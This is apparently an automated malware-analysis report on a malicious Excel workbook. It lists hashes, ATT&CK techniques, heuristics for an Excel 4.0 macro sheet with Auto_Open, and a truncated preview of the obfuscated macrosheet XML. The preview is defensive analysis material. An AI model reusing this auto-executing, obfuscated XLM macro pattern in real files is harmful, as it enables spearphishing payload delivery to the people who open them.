Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 c7b31f9addea9fd8…

MALICIOUS

Office (OOXML)

20.7 KB Created: 2021-04-20 11:09:31 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-05-26
MD5: b439a1bc49ef2dba27bc2cc71a362517 SHA-1: 77acda6c4a44161cb18d90840c4c775027113c1b SHA-256: c7b31f9addea9fd878e6f6aa404e572a9fbd6dc744a94ca9427470bd02a91b8b
122 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is an Excel document containing Excel 4.0 macros, indicated by the 'OOXML_XLM_MACROSHEET' and 'OOXML_XLM_AUTOOPEN_DEFINEDNAME' heuristics. The document body contains social engineering text to prompt the user to enable editing and content, which would allow the macros to execute. The macros are likely designed to download and execute a second-stage payload.

Heuristics 3

  • Excel 4.0 macro sheet (1 sheet(s)) critical 1 related finding OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/spreadsheetml/2006/main In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 14131 bytes
SHA-256: 58eebd8bc8cc90f223cfc554fa1d74ed0b992131b4040bddb4c5878c36246fac
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{67929C6C-1AEB-40C2-AA4C-51DA886811EA}"><dimension ref="A49:AI122"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><sheetData><row r="49" spans="1:35" x14ac:dyDescent="0.25"><c r="A49"><v>0</v></c></row><row r="50" spans="1:35" x14ac:dyDescent="0.25"><c r="A50" t="b"><f bx="1">Ylciymhz=A49</f><v>0</v></c><c r="C50"><v>42</v></c><c r="D50" s="1" t="s"><v>0</v></c><c r="E50" s="1" t="s"><v>19</v></c><c r="F50" s="1" t="s"><v>32</v></c><c r="G50" s="1" t="s"><v>35</v></c><c r="H50" s="1" t="s"><v>37</v></c><c r="I50" s="1" t="s"><v>41</v></c><c r="J50" s="1" t="s"><v>50</v></c><c r="K50" s="1" t="s"><v>60</v></c><c r="L50" s="1" t="s"><v>64</v></c><c r="M50" s="1" t="s"><v>69</v></c><c r="N50" s="1" t="s"><v>50</v></c><c r="O50" s="1" t="s"><v>75</v></c><c r="P50" s="1" t="s"><v>83</v></c><c r="Q50" s="1" t="s"><v>105</v></c><c r="R50" s="1" t="s"><v>60</v></c><c r="S50" s="1" t="s"><v>112</v></c><c r="T50" s="1" t="s"><v>114</v></c><c r="U50" s="1" t="s"><v>124</v></c><c r="V50" s="1" t="s"><v>130</v></c><c r="W50" s="1" t="s"><v>69</v></c><c r="X50" s="1" t="s"><v>112</v></c><c r="Y50" s="1" t="s"><v>150</v></c><c r="Z50" s="1" t="s"><v>153</v></c><c r="AA50" s="1" t="s"><v>150</v></c><c r="AB50" s="1" t="s"><v>170</v></c><c r="AC50" s="1" t="s"><v>173</v></c><c r="AD50" s="1" t="s"><v>178</v></c><c r="AE50" s="1" t="s"><v>183</v></c><c r="AF50" s="1" t="s"><v>185</v></c><c r="AG50" s="1" t="s"><v>192</v></c><c r="AH50" s="1" t="s"><v>195</v></c><c r="AI50" s="1" t="s"><v>199</v></c></row><row r="51" spans="1:35" x14ac:dyDescent="0.25"><c r="C51"><v>-423</v></c></row><row r="52" spans="1:35" x14ac:dyDescent="0.25"><c r="C52"><v>141</v></c></row><row r="53" spans="1:35" x14ac:dyDescent="0.25"><c r="C53"><v>-434</v></c><c r="D53" s="1" t="s"><v>1</v></c><c r="E53" s="1" t="s"><v>20</v></c><c r="F53" s="1" t="s"><v>33</v></c><c r="G53" s="1" t="s"><v>36</v></c><c r="H53" s="1" t="s"><v>38</v></c><c r="I53" s="1" t="s"><v>42</v></c><c r="J53" s="1" t="s"><v>51</v></c><c r="K53" s="1" t="s"><v>61</v></c><c r="L53" s="1" t="s"><v>65</v></c><c r="M53" s="1" t="s"><v>70</v></c><c r="N53" s="1" t="s"><v>74</v></c><c r="O53" s="1" t="s"><v>78</v></c><c r="P53" s="1" t="s"><v>84</v></c><c r="Q53" s="1" t="s"><v>106</v></c><c r="R53" s="1" t="s"><v>110</v></c><c r="S53" s="1" t="s"><v>113</v></c><c r="T53" s="1" t="s"><v>115</v></c><c r="U53" s="1" t="s"><v>125</v></c><c r="V53" s="1" t="s"><v>131</v></c><c r="W53" s="1" t="s"><v>135</v></c><c r="X53" s="1" t="s"><v>148</v></c><c r="Y53" s="1" t="s"><v>151</v></c><c r="Z53" s="1" t="s"><v>154</v></c><c r="AA53" s="1" t="s"><v>169</v></c><c r="AB53" s="1" t="s"><v>171</v></c><c r="AC53" s="1" t="s"><v>174</v></c><c r="AD53" s="1" t="s"><v>179</v></c><c r="AE53" s="1" t="s"><v>131</v></c><c r="AF53" s="1" t="s"><v>186</v></c><c r="AG53" s="1" t="s"><v>57</v></c><c r="AH53" s="1" t="s"><v>196</v></c><c r="AI53" s="1" t="s"><v>174</v></c></row><row r="54" spans="1:35" x14ac:dyDescent="0.25"><c r="A54" t="b"><f>WHILE(AND(NOT(Ylciymhz&gt;=32)))</f><v>0</v></c><c r="C54"><v>-385</v></c></row><row r="55" spans="1:35" x14ac:dyDescent="0.25"><c r="A55" t="b"><f bx="1">VsodstrtTkV=-3</f><v>0</v></c><c r="C55"><v>-586</v></c></row><row r="56" spans="
... (truncated)